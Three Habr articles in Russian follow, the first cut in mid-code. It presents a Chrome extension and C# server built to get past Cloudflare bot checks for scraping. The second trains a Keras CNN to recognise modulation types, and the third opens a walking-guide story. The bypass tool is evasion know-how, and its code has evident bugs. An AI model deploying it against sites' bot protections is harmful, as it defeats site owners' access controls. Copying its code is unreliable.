pendingQueue.TryDequeue(out var queueItem);
if (queueItem == null)
{
return null;
}
queueItemsInProgress.Add(queueItem);
var urlToLoad = new UrlToLoad
{
Url = queueItem.Url,
WaitSelector = queueItem.WaitSelector,
ClickSelector = queueItem.ClickSelector
};
return urlToLoad;
}
public void TrySetResult(string url, string result)
{
var itemsInProgressToSet = queueItemsInProgress
.Where(i => i.Url == url)
.ToList();
foreach (var queueItem in itemsInProgressToSet)
{
TrySetResult(queueItem.TaskCompletionSource, result);
queueItemsInProgress.Remove(queueItem);
}
}
private void MainLoop(object cancelationToken)
{
var token = (CancellationToken)cancelationToken;
while (!token.IsCancellationRequested)
{
HandleRequestTimeouts();
Thread.Sleep(2000);
}
}
private void HandleRequestTimeouts()
{
var discardRequestsStartedBefore = DateTime.Now.Add(-maxWaitTime);
HandlePendingRequestsTimeouts(discardRequestsStartedBefore);
HandleInProgressRequestsTimeouts(discardRequestsStartedBefore);
}
private void HandlePendingRequestsTimeouts(DateTime discardRequestsStartedBefore)
{
pendingQueue.TryPeek(out var queueItem);
while (queueItem != null && queueItem.StartTime < discardRequestsStartedBefore)
{
TrySetTimeoutException(queueItem.TaskCompletionSource);
pendingQueue.TryDequeue(out \_);
pendingQueue.TryPeek(out queueItem);
}
}
private void HandleInProgressRequestsTimeouts(DateTime discardRequestsStartedBefore)
{
var itemsInProgressToDiscard = queueItemsInProgress
.Where(i => i.StartTime < discardRequestsStartedBefore)
.ToList();
foreach (var item in itemsInProgressToDiscard)
{
TrySetTimeoutException(item.TaskCompletionSource);
queueItemsInProgress.Remove(item);
}
}
private void TrySetTimeoutException(TaskCompletionSource taskCompletionSource)
{
var exception = new TimeoutException("Timeout expired");
Task.Run(() => taskCompletionSource.TrySetException(exception));
}
private void TrySetResult(TaskCompletionSource taskCompletionSource, string result)
{
Task.Run(() => taskCompletionSource.TrySetResult(result));
}
public void Dispose()
{
mainLoopCancellationTokenSource.Cancel();
}
private class QueueItem
{
public string Url { get; init; }
public string? WaitSelector { get; init; }
public string? ClickSelector { get; set; }
public DateTime StartTime { get; init; }
public TaskCompletionSource TaskCompletionSource { get; init; }
}
}
```
Перейдем к клиентской части. Документацию по разработке расширений можно найти [здесь](https://developer.chrome.com/docs/extensions/reference/).
Для расширения потребуется файл манифеста. Там нет ничего интересного, описание расширения, запрос разрешений, ссылки на иконки и так далее. Его спрячу под спойлер.
manifest.json
```
{
"name": "BrowserProxy",
"description": "Allows to bypass cloudflare checks",
"version": "1.0",
"manifest_version": 3,
"action": {
"default_title": "BrowserProxy"
},
"background": {
"service_worker": "background.js"
},
"permissions": [
"tabs",
"webNavigation",
"storage",
"scripting"
],
"host_permissions": [
"http://*/*",
"https://*/*"
],
"icons": {
"19": "icon19.png",
"38": "icon38.png",
"48": "icon48.png",
"128": "icon128.png"
}
}
```
Перейдем к основному файлу, background.js. Он будет выполнять всю работу. У нас будет основной цикл, в котором мы будем обрабатывать текущее состояние. Давайте схематично накидаем его структуру.
```
(async function () {
async function handleTick(){
await ensureTabsOpen();
await handleOpenTabs();
await handleQueue();
}
async function ensureTabsOpen(){
// Проверить, что открыто необходимое количество вкладок,
// которые принадлежат расширению.
// Количество задается в настройках либо как переменная в коде.
// Открыть новые вкладки, если требуется
}
async function handleOpenTabs(){
var tabs = await getAvailableTabs();
for (var i = 0; i < tabs.length; i++){
await handleTabState(tabs[i]);
}
}
async function handleTabState(tab){
var hasResult = await checkIfHasResult(tab);
if (hasResult){
await returnResultToApi(tab);
await freeTab(tab);
return;
}
var shouldFree = checkIfShouldFree(tab.id);
if (shouldFree){
await freeTab(tab);
return;
}
await performClicks(tab);
}
async function performClicks(tab){
// Проверить, что на странице есть элементы,
// для которых нужно эмулировать нажатие мыши.
// Произвести нажатия для таких элементов.
}
function checkIfShouldFree(tabId){
// Проверить, что не истекло время, отведенное на загрузку страницы
}
async function freeTab(tab){
// Запомнить, что вкладка освободилась и может быть переиспользована.
}
async function checkIfHasResult(tab){
// Проверить, что на вкладке пройдены проверки
// и загружена запрашиваемая страница.
}
async function returnResultToApi(tab){
// Получить HTML код страницы.
// Отправить код страницы на сервер с помощью POST запроса
}
async function handleQueue(){
// Проверить, что есть свободные вкладки.
// Запросить для свободных вкладок новый адрес для загрузки.
// Открыть полученный адрес на свободной вкладке.
}
async function getAvailableTabs(){
// Вернуть список вкладок, принадлежащих расширению.
}
setInterval(handleTick, mainLoopIntervalMs);
})();
```
Теперь можно реализовать методы в соответствии с тем, что мы задумали. Результат получился на две с лишним сотни строк, поэтому я спрячу его под спойлер.
background.js
```
(async function () {
var nextUrlApiAction = 'http://xx.xx.xx.xx/task';
var resultApiAction = 'http://xx.xx.xx.xx/result';
var tabsOpenedByExtensionIds = new Set();
var timeoutMs = 20000;
var maxExtensionTabs = 4;
var mainLoopIntervalMs = 2000;
var defaultWaitSelectors = [
'#id_captcha_frame_div',
'.botsPriceLink',
'#challenge-running',
'#challenge'];
var defaultClickSelectors = [
'#otv3_submit',
'#otv3 .button__orange:visible'];
var tabInfos = {};
async function handleTick(){
await ensureTabsOpen();
await handleOpenTabs();
await handleQueue();
}
async function ensureTabsOpen(){
await ensurePersistentTabOpen();
var tabs = await getAvailableTabs();
for (var i = tabs.length; i < maxExtensionTabs; i++){
var tab = await chrome.tabs.create({
url: 'about:blank',
active: false
});
tabsOpenedByExtensionIds.add(tab.id);
}
}
async function ensurePersistentTabOpen(){
var url = chrome.runtime.getURL("persistent.html")
var tabs = await chrome.tabs.query({});
var persistentTab = tabs.find(t => t.url == url);
if (!persistentTab){
persistentTab = await chrome.tabs.create({
url: url,
active: false
});
}
return persistentTab;
}
async function handleOpenTabs(){
var tabs = await getAvailableTabs();
for (var i = 0; i < tabs.length; i++){
await handleTabState(tabs[i]);
}
}
async function handleTabState(tab){
var hasResult = await checkIfHasResult(tab);
if (hasResult){
await returnResultToApi(tab);
await freeTab(tab);
return;
}
var shouldFree = checkIfShouldFree(tab.id);
if (shouldFree){
await freeTab(tab);
return;
}
await performClicks(tab);
}
async function performClicks(tab){
if (tab.status != 'complete'){
return;
}
var tabInfo = tabInfos[tab.id];
if (!tabInfo){
return false;
}
var currentClickSelectors = tabInfo.clickSelector
? [tabInfo.clickSelector]
: defaultClickSelectors;
for (var i = 0; i < defaultClickSelectors.length; i++){
var selector = defaultClickSelectors[i];
await performClicksBySelector(tab.id, selector);
}
}
function checkIfShouldFree(tabId){
var tabInfo = tabInfos[tabId];
if (!tabInfo){
return false;
}
var now = new Date();
var waitTimeMs = now - tabInfo.startTime;
return waitTimeMs > timeoutMs;
}
async function freeTab(tab){
await chrome.tabs.update(tab.id, { url: 'about:blank' });
delete tabInfos[tab.id];
}
async function checkIfHasResult(tab){
if (tab.status != 'complete'){
return false;
}
var tabInfo = tabInfos[tab.id];
if (!tabInfo){
return false;
}
var hasResult = true;
var currentWaitSelectors = tabInfo.waitSelector
? [tabInfo.waitSelector]
: defaultWaitSelectors;
var currentClickSelectors = tabInfo.clickSelector
? [tabInfo.clickSelector]
: defaultClickSelectors;
var noResultSelectors = [...new Set([...currentWaitSelectors, ...currentClickSelectors])];
for (var i = 0; (i < noResultSelectors.length) && hasResult; i++){
var selector = noResultSelectors[i];
var html = await getSourceBySelector(tab.id, selector);
if (html){
hasResult = false;
}
}
return hasResult;
}
async function returnResultToApi(tab){
var html = await getSourceBySelector(tab.id, 'html');
var tabInfo = tabInfos[tab.id];
if (!tabInfo){
return;
}
var originalUrl = tabInfo.originalUrl;
await fetch(resultApiAction + '?url=' + encodeUriComponent(originalUrl),
{
method: 'POST',
headers: {
'Content-Type': 'text/html;charset=utf-8'
},
body: html
});
}
async function handleQueue(){
var tabs = await getAvailableTabs();
var continueTabsHandling = true;
for (var i = 0; (i < tabs.length) && continueTabsHandling; i++){
var tab = tabs[i];
var tabInfo = tabInfos[tab.id];
if (!tabInfo){
continueTabsHandling = await loadNextUrlOnTab(tab.id);
}
}
}
async function loadNextUrlOnTab(tabId)
{
var response = await fetch(nextUrlApiAction);
if (response.status == 200){
var urlToLoad = await response.json();
if (urlToLoad){
chrome.tabs.update(tabId, { url: urlToLoad.url });
tabInfos[tabId] = {
startTime: new Date(),
originalUrl: urlToLoad.url,
waitSelector: urlToLoad.waitSelector
};
return true;
}
}
return false;
}
async function getAvailableTabs(){
var tabs = await chrome.tabs.query({});
availableTabs = tabs.filter(t => tabsOpenedByExtensionIds.has(t.id));
return availableTabs;
}
function getSourceBySelectorInjected(selector){
var element = document.querySelector(selector);
return element ? element.outerHTML : null;
}
async function getSourceBySelector(tabId, selector){
try {
var source = await chrome.scripting.executeScript({
target: {tabId: tabId},
func: getSourceBySelectorInjected,
args: [selector]
});
return source[0].result;
} catch (e) {}
}
function performClicksBySelectorInjected(selector){
var elements = [...document.querySelectorAll('#otv3 .button__orange')]
.filter(e => !!(e.offsetWidth || e.offsetHeight || e.getClientRects().length));
for (var i = 0; i < elements.length; i++){
elements[i].click();
}
}
async function performClicksBySelector(tabId, selector){
try {
await chrome.scripting.executeScript({
target: {tabId: tabId},
func: performClicksBySelectorInjected,
args: [selector]
});
} catch (e) {}
}
function handleConnection(port){
if (port.name === 'keepAlive') {
setTimeout(() => port.disconnect(), 250e3);
port.onDisconnect.addListener(ensurePersistentTabOpen);
}
}
chrome.runtime.onConnect.addListener(handleConnection);
setInterval(handleTick, mainLoopIntervalMs);
})();
```
Думаю, стоит указать на еще один момент. Не весь код из файла предназначен для непосредственно загрузки страниц. Дело в том, что Chrome прекращает выполнение кода расширения через примерно пять минут. Для того, чтобы обойти это ограничение, мы открываем специально сформированную вкладку и устанавливаем с ней соединение. Соединение тоже живет не более пяти минут, поэтому мы рвем соединение и устанавливаем новое примерно раз в четыре минуты.
За этот процесс отвечает код:
```
async function ensurePersistentTabOpen(){
var url = chrome.runtime.getURL("persistent.html")
var tabs = await chrome.tabs.query({});
var persistentTab = tabs.find(t => t.url == url);
if (!persistentTab){
persistentTab = await chrome.tabs.create({
url: url,
active: false
});
}
return persistentTab;
}
function handleConnection(port){
if (port.name === 'keepAlive') {
setTimeout(() => port.disconnect(), 250e3);
port.onDisconnect.addListener(ensurePersistentTabOpen);
}
}
chrome.runtime.onConnect.addListener(handleConnection);
```
Файл persistent.html выглядит следующим образом:
```
Cloudflare bypass
Don't close this tab. It is used to perform websites parsing.
```
Этот файл ссылается на persistent.js. Его содержимое:
```
(function connect() {
chrome.runtime.connect({name: 'keepAlive'})
.onDisconnect.addListener(connect);
})();
```
Думаю, на этом рассмотрение кода можно закончить. Код доступен на [GitHub](https://github.com/aioke/BrowserProxy).
Настраиваем окружение
---------------------
> Ниже пойдет речь о настройке окружения в Линуксе. Я, к сожалению, не эксперт в этом вопросе, поэтому текст ниже стоит воспринимать как мой личный опыт, а не как пошаговую инструкцию, как оптимальным способом получить оптимальную конфигурацию.
>
>
Теперь встает вопрос хостинга. Серверная часть нашего решения сможет работать на почти любом виртуальном хостинге, одного гигабайта оперативной памяти будет достаточно. Можно использовать Nginx как reverse proxy, но в данном случае я бы не стал, у нас нет типичных для него задач, Kestrel и сам справится.
Файл с конфигурацией сервиса для systemd может выглядеть примерно так:
```
[Unit]
Description=Browser proxy web service
[Service]
ExecStart=/usr/local/browser-proxy/BrowserProxy --urls "http://0.0.0.0:80"
WorkingDirectory=/usr/local/browser-proxy/
User=user
Restart=on-failure
SyslogIdentifier=browser-proxy
PrivateTmp=true
[Install]
WantedBy=multi-user.target
```
Что касается окружения для запуска браузера, то потребуется больше памяти, можно начать с 3-4 гигабайт.
Итак, мы создали новую виртуальную машину с установленным Линуксом у какого-нибудь хостинг-провайдера. Установить Хром сразу не получится. Насколько я смог разобраться, проще всего сначала установить какое-нибудь окружение рабочего стола. Я установил XFCE.
```
sudo apt install xfce4
```
Теперь можно попробовать установить Хром.
```
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome-stable_current_amd64.deb
```
В процессе установки увидим, что не хватает некоторых пакетов. Мне помогла команда
```
sudo apt --fix-broken install
```
Можно запускать. Пишем google-chrome в консоли и получаем ошибку
```
Missing X server or $DISPLAY
```
Мне удалось найти, что виртуальный монитор можно сделать при помощи утилиты Xvfb.
```
sudo apt install xvfb
```
После этого мне удалось запустить Хром.
```
Xvfb :10 -ac -screen 0 1366x768x24 &
export DISPLAY=:10
google-chrome
```
Запустить хром с загруженным расширением можно при помощи следующего ключа:
```
google-chrome --load-extension=/usr/local/browser-proxy-extension/chrome/
```
Можем посмотреть, что происходит на нашем виртуальном экране:
```
xwd -display :10 -user -out /tmp/pic.xwd
```
Как сделать так, чтобы Хром запускался при старте системы и перезапускался в случае падения, я оставлю за рамками статьи. Я использовал systemd сервис.
### Использование совместно с прокси-серверами
К сожалению или к счастью, у меня нет такого опыта. В рамках нашей задачи — а мы собираем информацию о характеристиках товаров — мы не делаем много запросов к сайтам, которые парсим, и по IP нас пока не банили.
Заключение
----------
Разобрались, как работает детектирование роботов.
Разработали сервер и браузерное расширение для обхода блокировок. [Ссылка на GitHub](https://github.com/aioke/BrowserProxy).
Запустили браузер в графическом режиме из консоли Линукса. | https://habr.com/ru/post/710982/ | null | ru | null |
# Опыт применения глубокого обучения для идентификации видов цифровой модуляции по сырым I/Q отсчетам (Keras)
Пример динамики спектра радиосигналов, источник: arXiv:2005.06068v1. ВВЕДЕНИЕ
--------
До недавнего времени одним из популярных классических алгоритмов распознавания модуляций является метод, основанный на статистической обработке кумулянтов и гипотезе максимального правдоподобия. Использование такого метода достаточно трудоемко и требует достаточно глубоких экспертных знаний в предметной области.
В далеком 2016 году пионер применения методов машинного обучения в обработке радиосигналов Timothy J. O’Shea предложил нейронную сеть (НС) с использованием двумерных сверточных слоев [1], которые хорошо себя показали при обработке изображений. В своей статье [2] O’Shea утверждает, что такая НС может конкурировать с классическими методами автоматического распознавания модуляции (АРМ), особенно при низком отношении сигнал/шум (SNR). После получения некоторого опыта в работе с нейронками захотелось проверить заявленную возможность классификации таких сигналов.
Применение машинного обучения с использованием НС позволяет производить классификацию видов модуляции радиосигналов без глубоких знаний в области DSP. Для создания классификатора необходимо сформировать массив данных (Dataset) обучения, в качестве которых используем сырые синфазные и квадратурные I/Q отсчеты радиосигнала. Далее следует подобрать архитектуру сети и провести обучение. Результатом обучения будет файл полученных весов и файл описания архитектуры сети. При обучении сети обычно используют машину с большой вычислительной мощностью, а полученный результат обучения можно применять на простой машине.
Попробуем проверить подход глубокого обучения на соответствие минимальной жизнеспособности классификации для девяти цифровых видов модуляции: QPSK, OQPSK, P\4QPSK, QAM-16, QAM-32, QAM-64, QAM-128, QAM256 и QAM512.
Статья состоит из следующих основных частей:
1. Создание массива данных Dataset
2. Архитектура нейронной сети
3. Обучение, тестирование, эксперименты
4. Выводы
### 1. Создание Dataset
Авторский Dataset RADIOML 2016.10A [3] состоял из 8 цифровых и 3 аналоговых нормированных сигналов с шагом уровня SNR в 1 dB. Наш массив данных будет состоять только из 9 цифровых сигналов, без предварительного нормирования, по 20 файлов каждого вида модуляции, с различной символьной скоростью, частотой дискретизации, разным уровнем шума и размером примерно по 1 Мбайт.
Для этого использовались следующие источники:
* векторный генератор,
* реальные записи сигналов с разным уровнем SNR,
* специальная программа синтеза I/Q сигналов.
Приёмная часть состояла из конвектора в ПЧ 140 МГц и модуля ADC+FPGA, выходной формат данных 2 по 16 бит на один I/Q отсчет. Для создания обучающего массива и устранения инвариантности сдвига применялась аугментация в виде нарезки семплов размером 2 х 128 с шагом в один отсчет и сдвигом начала в файле на 8192 байт. Увеличение размера семпла более 2 х 128 не дало значимого прироста в точности.
В качестве проверочных данных будет использоваться массив от начала до 8192 байта, и в обучении он не будет использоваться. Суммарный размер Dataset получился X =(5400000,2,128) семплов или по 600000 на каждый вид модуляции. Массив меток Y =(5400000,9) сформирован в формате ohe (One Hot Encoder) при помощи утилиты to\_categoricall от Keras.
```
# загружаем необходимые библиотеки
import pandas as pd
from tensorflow.keras import utils #Используем для to_categoricall
import numpy as np #Библиотека работы с массивами
import os #Для работы с файлами
from sklearn.model_selection import train_test_split # добавляем библиотеку для разбивки
# АУГМЕНТАЦИЯ, делаем нарезку шагом 1 отсчет, семплы по 128 отсчетов
Mode_Type9 = ["QPSK","OQPSK","P4QPSK","QAM16","QAM32","QAM64","QAM128","QAM256","QAM512"]
X_ds = [] # массив X
Y_ds = [] # метки Y
for i in range(len(Mode_Type9)): #проходим по всем типам модуляции
md = Mode_Type9[i] #берём текущий тип модуляции
for filename in os.listdir("D:/ASD/"+ md): #проходим по файлам папки
name = "D:/ASD/"+md+"/"+filename # получаем полный путь к файлу
dtt = np.fromfile(name, dtype = np.int16, count = 98304,offset = 8192).astype(np.float16) # считываем count
for n in range(0, 120000, 4): # берем с шагом по 4 байт – это 1 отсчетI\Q
dd1 = np.frombuffer(dtt, dtype = np.float16, count = 256, offset = n) # считываем по 1 семплу
X_ds.append(np.reshape(dd1, (-1,2)).T) # расщепляем на I и Q, транспанируем-Т и кидаем в массив X_ds
Y_ds.append(to_categorical(i, len(Mode_Type9))) # кидаем в массив меток Y_ds
X_ds = np.array(X_ds) # переводим в нампи массив
Y_ds = np.array(Y_ds)
print(X_ds.shape) # проверяем формат массива Х= (5400000, 2, 128)
print(Y_ds.shape) # проверяем формат меток Y= (5400000, 9)
```
Далее при помощи утилиты train\_test\_split от Scikit-learn разбиваем полученный массив на train и test выборки в пропорции 70 на 30, добавляем размерность и сохраняем в NumPy массив. Такая разбивка не дает точно сбалансированные массивы по отдельным классам и незначительная разбалансировка не повлияла на точность.
```
# test_size=0.3 – для теста будет выделено 30% от тренировочных данных
# shuffle=True - перемешать данные
# x_train - данные для обучения
# x_test - данные для проверки
# y_train - правильные ответы – метки для обучения, формат OHE
# y_test - правильные ответы – метки для проверки, формат OHE
x_train, x_test, y_train, y_test = train_test_split(X_ds, Y_ds, test_size=0.3, shuffle=True)
print (x_train.shape) # (3780000, 2, 128) проверка формата
print (x_test.shape) # (1620000, 2, 128)
print (y_train.shape) # (3780000, 9)
print (y_test.shape) # (1620000, 9)
# добавляем размерность
x_train = x_train.reshape(x_train.shape[0], 2, 128,1)
x_test = x_test.reshape(x_test.shape[0], 2, 128,1)
# Сохраняем X_train и X_test
np.save("D:/DSET9/Signal_test", x_test)
np.save("D:/DSET9/Signal_train", x_train)
# Сохраняем Y_train и Y_test
np.save("D:/DSET9/test_label", y_test)
np.save("D:/DSET9/train_label", y_train)
```
### 2. Архитектура нейронной сети
Наша НС является сетью прямого распространения, относится к типу обучения с учителем (supervised learning) и похожа на VGG-16 с добавлением на входе слоя нормализации BatchNormalization для устранения ковариационного сдвига. Далее применены три сдвоенных двумерных сверточных слоя Conv2D со следующим порядком фильтров 32, 64, 128 с размером окна (1,3) и (2,3) для первого слоя и (2,3) для всех остальных. Дальнейшее увеличение размера ядра свертки и количества сверточных слоев не дает существенного улучшения качества распознавания. Функция активации – линейный выпрямитель relu. Затем проводились эксперименты с плотным слоем Dense, было обнаружено, что увеличение количества нейронов сверх 256 не улучшает производительность. Для устранения эффекта переобучения добавлялись параметры регуляризации Dropout до оптимальных значений в 20% для первого и второго и 30% третьего слоя Conv2D. После плотного слоя Dense так же добавлен слой Dropout в 50 %.
Используем стандартный подход для классификации, в качестве функции ошибки используем "categorical\_crossentropy" (категориальную кросс-энтропию), оптимизатор Adam с шагом 0.001, метрику "accuracy".
```
# загружаем необходимые библиотеки
from tensorflow.keras.models import Sequential #Сеть прямого распространения
#Базовые слои для свёрточных сетей
from tensorflow.keras.layers import Dense, Conv2D, MaxPooling2D, Flatten, Dropout, BatchNormalization
from tensorflow.keras.optimizers import Adam # оптимизатор
from tensorflow.keras.preprocessing import image #Для отрисовки изображений
from sklearn.preprocessing import LabelEncoder, StandardScaler # Функции для нормализации данных
from sklearn import preprocessing # Пакет предварительной обработки данных
import numpy as np #Библиотека работы с массивами
import matplotlib.pyplot as plt #Для отрисовки графиков
import math # математика
import os #Для работы с файлами
import pandas as pd
%matplotlib inline
#============= Загружаем DataSet train\test выборки============
# Train data
Xtrain = np.load('D:/DataSet9/Signal_train.npy')
Ytrain = np.load('D:/DataSet9/train_label.npy')
# Test data
Xtest = np.load('D:/DataSet9/Signal_test.npy')
Ytest = np.load('D:/DataSet9/test_label.npy')
# =================СЕТЬ============
#задаём batch_size
batch_size = 512
#Создаем последовательную модель
model = Sequential()
model.add(BatchNormalization(input_shape=(2, 128, 1)))
#Первый сверточный слой
model.add(Conv2D(32, (1, 3), padding='same', activation='relu'))
model.add(Conv2D(32, (2, 3), padding='same', activation='relu'))
model.add(MaxPooling2D(pool_size=(1, 2)))
model.add(Dropout(0.2))
#Второй сверточный слой
model.add(Conv2D(64, (2, 3), padding='same', activation='relu'))
model.add(Conv2D(64, (2, 3), padding='same', activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
#Слой регуляризации Dropout
model.add(Dropout(0.2))
#Третий сверточный слой
model.add(Conv2D(128, (2, 3), padding='same', activation='relu'))
model.add(Conv2D(128, (2, 3), padding='same', activation='relu'))
model.add(MaxPooling2D(pool_size=(1, 2)))
#Слой регуляризации Dropout
model.add(Dropout(0.3))
model.add(Flatten())
#Полносвязный слой для классификации
model.add(Dense(256, activation='relu'))
model.add(Dropout(0.5))
#Выходной полносвязный слой
model.add(Dense(9, activation='softmax')) #
#Компилируем сеть
model.compile(loss="categorical_crossentropy", optimizer=Adam(lr=1e-3), metrics=["accuracy"])
```
### 3. Обучение, тестирование, эксперименты
Методом fit запускаем обучение, на вход сети поступают сегменты Xtrain и Ytrain размером batch\_size и последовательно прогоняются через все слои обучения. Наша обучающая выборка состоит из 7383 батчей (batch) по 512 семплов, что соответствует одной эпохе. Одна эпоха — это один раз полностью пройденная моделью обучающая выборка, в нашем случае время обработки 1 эпохи заняло около 23 минут. Всего модель обучалась на 10 эпохах.
```
#Обучаем сеть
history = model.fit(Xtrain,
Ytrain,
batch_size=batch_size,
epochs=10,
validation_data=(Xtest, Ytest),
verbose=1)
Epoch 1/10
7383/7383 [==============================] - 1327s 180ms/step - loss: 0.2671 - accuracy: 0.8936 - val_loss: 0.0899 - val_accuracy: 0.9636
Epoch 2/10
7383/7383 [==============================] - 1339s 181ms/step - loss: 0.1544 - accuracy: 0.9391 - val_loss: 0.0520 - val_accuracy: 0.9779
Epoch 3/10
7383/7383 [==============================] - 1402s 190ms/step - loss: 0.1156 - accuracy: 0.9548 - val_loss: 0.0369 - val_accuracy: 0.9843
Epoch 4/10
7383/7383 [==============================] - 1392s 189ms/step - loss: 0.0947 - accuracy: 0.9640 - val_loss: 0.0273 - val_accuracy: 0.9883
Epoch 5/10
7383/7383 [==============================] - 1355s 184ms/step - loss: 0.0808 - accuracy: 0.9693 - val_loss: 0.0213 - val_accuracy: 0.9905
Epoch 6/10
7383/7383 [==============================] - 1346s 182ms/step - loss: 0.0716 - accuracy: 0.9732 - val_loss: 0.0214 - val_accuracy: 0.9902
Epoch 7/10
7383/7383 [==============================] - 1410s 191ms/step - loss: 0.0672 - accuracy: 0.9749 - val_loss: 0.0154 - val_accuracy: 0.9938
Epoch 8/10
7383/7383 [==============================] - 1389s 188ms/step - loss: 0.0639 - accuracy: 0.9766 - val_loss: 0.0195 - val_accuracy: 0.9908
Epoch 9/10
7383/7383 [==============================] - 1340s 182ms/step - loss: 0.0567 - accuracy: 0.9795 - val_loss: 0.0390 - val_accuracy: 0.9860
Epoch 10/10
7383/7383 [==============================] - 1375s 186ms/step - loss: 0.0538 - accuracy: 0.9811 - val_loss: 0.0116 - val_accuracy: 0.9959
# После обучения получили точность на валидационной (тестовой) выборке в 99.59 %
```
Делаем проверку
Создаем проверочный массив PROV и метку Prov\_Metka аналогично обучающему массиву, берем не использованные при обучении данные из файлов до 8192 байта, получаем массивы (252000, 2, 128, 1) и (252000, 9) соответственно. Методом evaluate вычисляем долю верно распознанных семплов нашей обученной модели.
```
# Загружаем проверку
PROV = np.load('D:/DataSet9/PROVERKA/Signal_prov.npy')
Prov_Metka = np.load("D:/DataSet9/PROVERKA/Label_prov.npy")
print(PROV.shape)
print(Prov_Metka.shape)
# Вычисляем результаты сети на PROVERKA наборе
scores = model.evaluate(PROV, Prov_Metka, verbose=1)
print(scores)
print("Доля верных ответов на данных PROV, в процентах: ", round(scores[1] * 100, 4), "%", sep="")
(252000, 2, 128, 1)
(252000, 9)
7875/7875 [==============================] - 41s 5ms/step - loss: 0.0519 - accuracy: 0.9838
[0.051874879747629166, 0.9837777614593506]
# Доля верных ответов на данных PROV, в процентах: 98.38%, ошибка: 0.0519
```
Сделаем матрицу распределения ошибок классификации. Из массива PROV будем «откусывать» по 100 семплов из каждого файла и прогонять через predict (20 файлов по 100 = 2000 семплов) для каждого вида модуляции.
| | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| | qpsk | oqpsk | p/4qpsk | qam16 | qam32 | qam64 | qam128 | qam256 | qam512 |
| qpsk | 2000 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| oqpsk | 0 | 2000 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| p/4qpsk | 0 | 0 | 2000 | 0 | 0 | 0 | 0 | 0 | 0 |
| qam16 | 0 | 0 | 0 | 1954 | 0 | 44 | 0 | 2 | 0 |
| qam32 | 0 | 0 | 0 | 0 | 1965 | 10 | 25 | 0 | 0 |
| qam64 | 0 | 0 | 0 | 7 | 0 | 1993 | 0 | 0 | 0 |
| qam128 | 0 | 0 | 0 | 0 | 14 | 0 | 1903 | 0 | 83 |
| qam256 | 0 | 0 | 0 | 0 | 7 | 15 | 0 | 1959 | 19 |
| qam512 | 0 | 0 | 0 | 0 | 0 | 0 | 107 | 0 | 1893 |
При анализе таблицы видно, что ошибки классификации появляются, если один класс является подмножеством другого. Например, модуляция QAM128 имеет вид созвездия «крест» и входит в подмножество модуляции QAM512 и если оба сигнала имеют одинаковую частоту дискретизации и символьную скорость, то сеть иногда их путает.
Оценка качества классификации с использованием утилиты classification\_report от Scikit-learn
| | | | | |
| --- | --- | --- | --- | --- |
| | precision | recall | f1-score | support |
| qpsk | 1.00 | 1.00 | 1.00 | 2000 |
| oqpsk | 1.00 | 1.00 | 1.00 | 2000 |
| p/4qpsk | 1.00 | 1.00 | 1.00 | 2000 |
| qam16 | 1.00 | 0.98 | 0.99 | 2000 |
| qam32 | 0.99 | 0.98 | 0.99 | 2000 |
| qam64 | 0.97 | 1.00 | 0.98 | 2000 |
| qam128 | 0.93 | 0.95 | 0.94 | 2000 |
| qam256 | 1.00 | 0.98 | 0.99 | 2000 |
| qam512 | 0.95 | 0.94 | 0.95 | 2000 |
Прогоним через predict по 200 синтезированных I/Q семплов QAM32 **с символьной** **скоростью отличной от сигналов в обучающем наборе.**
| | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| mode | qpsk | oqpsk | p/4qpsk | qam16 | qam32 | qam64 | qam128 | qam256 | qan512 |
| qam32\_12 | 0 | 0 | 0 | 0 | 200 | 0 | 0 | 0 | 0 |
| qam32\_18 | 0 | 0 | 0 | 0 | 187 | 0 | 13 | 0 | 0 |
| qam32\_32 | 0 | 0 | 0 | 0 | 200 | 0 | 0 | 0 | 0 |
| qam32\_40 | 0 | 0 | 0 | 0 | 1 | 177 | 0 | 22 | 0 |
| qam32\_46 | 0 | 0 | 0 | 1 | 0 | 199 | 0 | 0 | 0 |
| qam32\_50 | 0 | 0 | 0 | 0 | 200 | 0 | 0 | 0 | 0 |
Тестовые сигналы, у которых в обучающем наборе были синтезированные сигналы с близкой символьной скоростью, показали хорошую точность. В обучающей выборке в диапазоне символьных скоростей 40-46 МБод для QAM32 были реальные эфирные данные с канальными шумами и эффектами многолучевого распространения сигнала, а для сигнала QAM64 только синтезированные сигналы. Поэтому можно предположить, что сеть ошибочно распознала QAM64 по совокупности признаков в обучающем наборе.
### 4. Вывод
Рассмотренная сеть CNN соответствует минимальному требованию классификации, но для получения качественного классификатора требуется очень большой массив (Dataset) обучения в котором должны отражаться все эффекты многолучевого распространения сигнала реальных каналов связи, что сделать весьма затруднительно. Для эффективной классификации необходима архитектура сети, которая выделяет только «семантическую соль» и не сильно требовательна к обучающему массиву. Поэтому в последнее время лидируют различные гибридные сети, например сеть с многоуровневым вниманием MCBL (Multilevel attention CNN Bi-LSTM) [4] от китайской команды 63-rd Research Institute, National University of Defense Technology, Nanjing.
Аргументированная и обоснованная критика приветствуется)))
Используемые источники:
1. <https://github.com/radioML/examples/blob/master/modulation_recognition/RML2016.10a_VTCNN2_example.ipynb>
2. <https://arxiv.org/pdf/1602.04105v2.pdf>
3. <https://www.deepsig.ai/datasets>
4. <https://doi.org/10.1155/2021/1991471> | https://habr.com/ru/post/712362/ | null | ru | null |
# Длинная история путеводителя — как я 5 лет писал сервис для умных пешеходных маршрутов
У многих есть один или несколько своих домашних проектов. Это бывают небольшие утилиты, экспериментальные штуки, пробы новых технологий, “убийцы” фейсбуков и много что ещё. Заметно реже такими проектами занимаются долгое время.
В статье я поделюсь своим опытом и расскажу как в течение 5 лет эпизодически занимался разработкой умного путеводителя по Санкт-Петербургу, как мне удавалось не забросить это дело, как менялось отношение к проекту и что в итоге вышло.
> Ниже описано много сомнительных технических решений и велосипедов, но не удивляйтесь — почти все они оправданы для поставленных на тот момент целей и имеющихся ресурсов (= обычно моих знаний и времени)
Идея
----
В любом крупном туристическом городе есть сотни путеводителей, хороших и не очень, где расписаны основные маршруты, указаны основные точки и куча другой полезной информации.
Но маршруты там постоянны и ограничены, а достопримечательности обычно только самые главные, вроде "что посмотреть за 3 дня".
